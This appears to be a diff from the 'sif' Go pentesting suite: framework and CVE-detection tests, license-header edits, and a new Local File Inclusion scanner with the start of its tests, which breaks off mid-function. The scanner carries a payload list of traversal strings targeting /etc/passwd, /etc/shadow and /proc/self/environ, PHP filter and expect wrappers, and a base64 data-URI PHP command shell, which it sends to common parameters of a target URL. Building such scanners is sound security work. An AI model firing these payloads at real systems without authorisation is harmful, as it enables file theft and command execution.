{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
|
||||
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
|
||||
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
|
||||
{"No version", "Hello World", "Laravel", "unknown", 0},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := extractVersionWithConfidence(tt.body, tt.framework)
|
||||
if result.Version != tt.wantVer {
|
||||
t.Errorf("extractVersionWithConfidence() version = %q, want %q", result.Version, tt.wantVer)
|
||||
}
|
||||
if result.Confidence < tt.minConf {
|
||||
t.Errorf("extractVersionWithConfidence() confidence = %f, want >= %f", result.Confidence, tt.minConf)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetRiskLevel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cves []string
|
||||
expected string
|
||||
}{
|
||||
{"no CVEs", []string{}, "low"},
|
||||
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
|
||||
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
|
||||
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
|
||||
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getRiskLevel(tt.cves)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getRiskLevel() = %q, want %q", result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_Django(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Django", "3.2.0")
|
||||
if len(cves) == 0 {
|
||||
t.Error("expected CVEs for Django 3.2.0")
|
||||
}
|
||||
if len(suggestions) == 0 {
|
||||
t.Error("expected suggestions for Django 3.2.0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_Spring(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Spring", "5.3.0")
|
||||
if len(cves) == 0 {
|
||||
t.Error("expected CVEs for Spring 5.3.0 (Spring4Shell)")
|
||||
}
|
||||
found := false
|
||||
for _, cve := range cves {
|
||||
if cve == "CVE-2022-22965 (critical)" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Error("expected Spring4Shell CVE-2022-22965")
|
||||
}
|
||||
if len(suggestions) == 0 {
|
||||
t.Error("expected suggestions for Spring 5.3.0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Vue(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Vue App</title></head>
|
||||
<body>
|
||||
<div id="app" data-v-12345>
|
||||
<div v-cloak>Loading...</div>
|
||||
</div>
|
||||
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Vue.js" {
|
||||
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Angular(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html ng-version="15.0.0">
|
||||
<head><title>Angular App</title></head>
|
||||
<body>
|
||||
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Angular" {
|
||||
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_React(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>React App</title></head>
|
||||
<body>
|
||||
<div id="root" data-reactroot="">Content</div>
|
||||
<script src="/static/js/react-dom.production.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "React" {
|
||||
t.Errorf("expected framework 'React', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Svelte(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Svelte App</title></head>
|
||||
<body>
|
||||
<div id="app" class="__svelte-123">
|
||||
<span class="svelte-abc123">Content</span>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Svelte" {
|
||||
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Joomla(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management">
|
||||
<script src="/media/jui/js/jquery.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="Joomla">Content</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Joomla" {
|
||||
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCVEEntry_Fields(t *testing.T) {
|
||||
entry := CVEEntry{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "RCE vulnerability",
|
||||
Recommendations: []string{"Update immediately"},
|
||||
}
|
||||
|
||||
if entry.CVE != "CVE-2021-3129" {
|
||||
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
|
||||
}
|
||||
if len(entry.AffectedVersions) != 2 {
|
||||
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
|
||||
}
|
||||
if entry.Severity != "critical" {
|
||||
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
|
||||
}
|
||||
}
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package js
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// todo: scan for storage and auth vulns
|
||||
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
// LFIResult represents the results of LFI reconnaissance
|
||||
type LFIResult struct {
|
||||
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
|
||||
TestedParams int `json:"tested_params"`
|
||||
TestedPayloads int `json:"tested_payloads"`
|
||||
}
|
||||
|
||||
// LFIVulnerability represents a detected LFI vulnerability
|
||||
type LFIVulnerability struct {
|
||||
URL string `json:"url"`
|
||||
Parameter string `json:"parameter"`
|
||||
Payload string `json:"payload"`
|
||||
Evidence string `json:"evidence"`
|
||||
Severity string `json:"severity"`
|
||||
FileIncluded string `json:"file_included,omitempty"`
|
||||
}
|
||||
|
||||
// LFI payloads for directory traversal
|
||||
var lfiPayloads = []struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}{
|
||||
// Linux/Unix paths
|
||||
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
|
||||
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
|
||||
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
|
||||
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
|
||||
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
|
||||
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd%00", "/etc/passwd", "high"},
|
||||
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
|
||||
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
|
||||
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
|
||||
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
|
||||
|
||||
// Windows paths
|
||||
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
|
||||
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
|
||||
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
|
||||
{"../../../../../../../boot.ini", "boot.ini", "high"},
|
||||
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
|
||||
|
||||
// PHP wrappers
|
||||
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
|
||||
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
|
||||
{"expect://id", "command execution", "critical"},
|
||||
{"php://input", "php input", "high"},
|
||||
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
|
||||
}
|
||||
|
||||
// Evidence patterns for LFI detection
|
||||
var lfiEvidencePatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
description string
|
||||
severity string
|
||||
}{
|
||||
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
|
||||
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
|
||||
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
|
||||
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
|
||||
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
|
||||
}
|
||||
|
||||
// Common parameters to test
|
||||
var commonLFIParams = []string{
|
||||
"file", "page", "path", "include", "doc", "document",
|
||||
"folder", "root", "pg", "style", "pdf", "template",
|
||||
"php_path", "lang", "language", "view", "content",
|
||||
"layout", "mod", "conf", "url", "dir", "show",
|
||||
"name", "cat", "action", "read", "load", "open",
|
||||
}
|
||||
|
||||
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
|
||||
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
|
||||
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
lfilog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "LFI 📁",
|
||||
}).With("url", targetURL)
|
||||
|
||||
lfilog.Infof("Starting LFI reconnaissance...")
|
||||
|
||||
result := &LFIResult{
|
||||
Vulnerabilities: []LFIVulnerability{},
|
||||
}
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// parse the target URL to check for existing parameters
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
|
||||
existingParams := parsedURL.Query()
|
||||
paramsToTest := make(map[string]bool)
|
||||
|
||||
// add existing parameters
|
||||
for param := range existingParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
// add common LFI parameters
|
||||
for _, param := range commonLFIParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
result.TestedParams = len(paramsToTest)
|
||||
result.TestedPayloads = len(lfiPayloads)
|
||||
|
||||
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
|
||||
|
||||
// create work items
|
||||
type workItem struct {
|
||||
param string
|
||||
payload struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}
|
||||
}
|
||||
|
||||
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
|
||||
for param := range paramsToTest {
|
||||
for _, payload := range lfiPayloads {
|
||||
workItems = append(workItems, workItem{param: param, payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
// distribute work
|
||||
workChan := make(chan workItem, len(workItems))
|
||||
for _, item := range workItems {
|
||||
workChan <- item
|
||||
}
|
||||
close(workChan)
|
||||
|
||||
wg.Add(threads)
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range workChan {
|
||||
// build test URL
|
||||
testParams := url.Values{}
|
||||
for k, v := range existingParams {
|
||||
if k != item.param {
|
||||
testParams[k] = v
|
||||
}
|
||||
}
|
||||
testParams.Set(item.param, item.payload.payload)
|
||||
|
||||
testURL := fmt.Sprintf("%s://%s%s?%s",
|
||||
parsedURL.Scheme,
|
||||
parsedURL.Host,
|
||||
parsedURL.Path,
|
||||
testParams.Encode())
|
||||
|
||||
resp, err := client.Get(testURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error testing %s: %v", testURL, err)
|
||||
continue
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
|
||||
// check for evidence patterns
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(bodyStr) {
|
||||
mu.Lock()
|
||||
// check for duplicates
|
||||
duplicate := false
|
||||
for _, v := range result.Vulnerabilities {
|
||||
if v.Parameter == item.param && v.Payload == item.payload.payload {
|
||||
duplicate = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !duplicate {
|
||||
vuln := LFIVulnerability{
|
||||
URL: testURL,
|
||||
Parameter: item.param,
|
||||
Payload: item.payload.payload,
|
||||
Evidence: evidence.description,
|
||||
Severity: item.payload.severity,
|
||||
FileIncluded: item.payload.target,
|
||||
}
|
||||
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
|
||||
|
||||
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
|
||||
styles.SeverityHigh.Render(evidence.description),
|
||||
styles.Highlight.Render(item.param),
|
||||
styles.Status.Render(item.payload.target))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir,
|
||||
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
|
||||
evidence.description, item.param, item.payload.payload))
|
||||
}
|
||||
}
|
||||
mu.Unlock()
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// summary
|
||||
if len(result.Vulnerabilities) > 0 {
|
||||
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, v := range result.Vulnerabilities {
|
||||
if v.Severity == "critical" {
|
||||
criticalCount++
|
||||
} else if v.Severity == "high" {
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
if criticalCount > 0 {
|
||||
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
|
||||
}
|
||||
if highCount > 0 {
|
||||
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
|
||||
}
|
||||
} else {
|
||||
lfilog.Infof("No LFI vulnerabilities detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// DetectLFIFromResponse checks a response body for LFI evidence
|
||||
func DetectLFIFromResponse(body string) (bool, string) {
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(body) {
|
||||
return true, evidence.description
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
expectDesc string
|
||||
}{
|
||||
{
|
||||
name: "root entry",
|
||||
body: "root:x:0:0:root:/root:/bin/bash",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "daemon entry",
|
||||
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "nobody entry",
|
||||
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "no evidence",
|
||||
body: "<html><body>Hello World</body></html>",
|
||||
expectFound: false,
|
||||
expectDesc: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, desc := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
if desc != tt.expectDesc {
|
||||
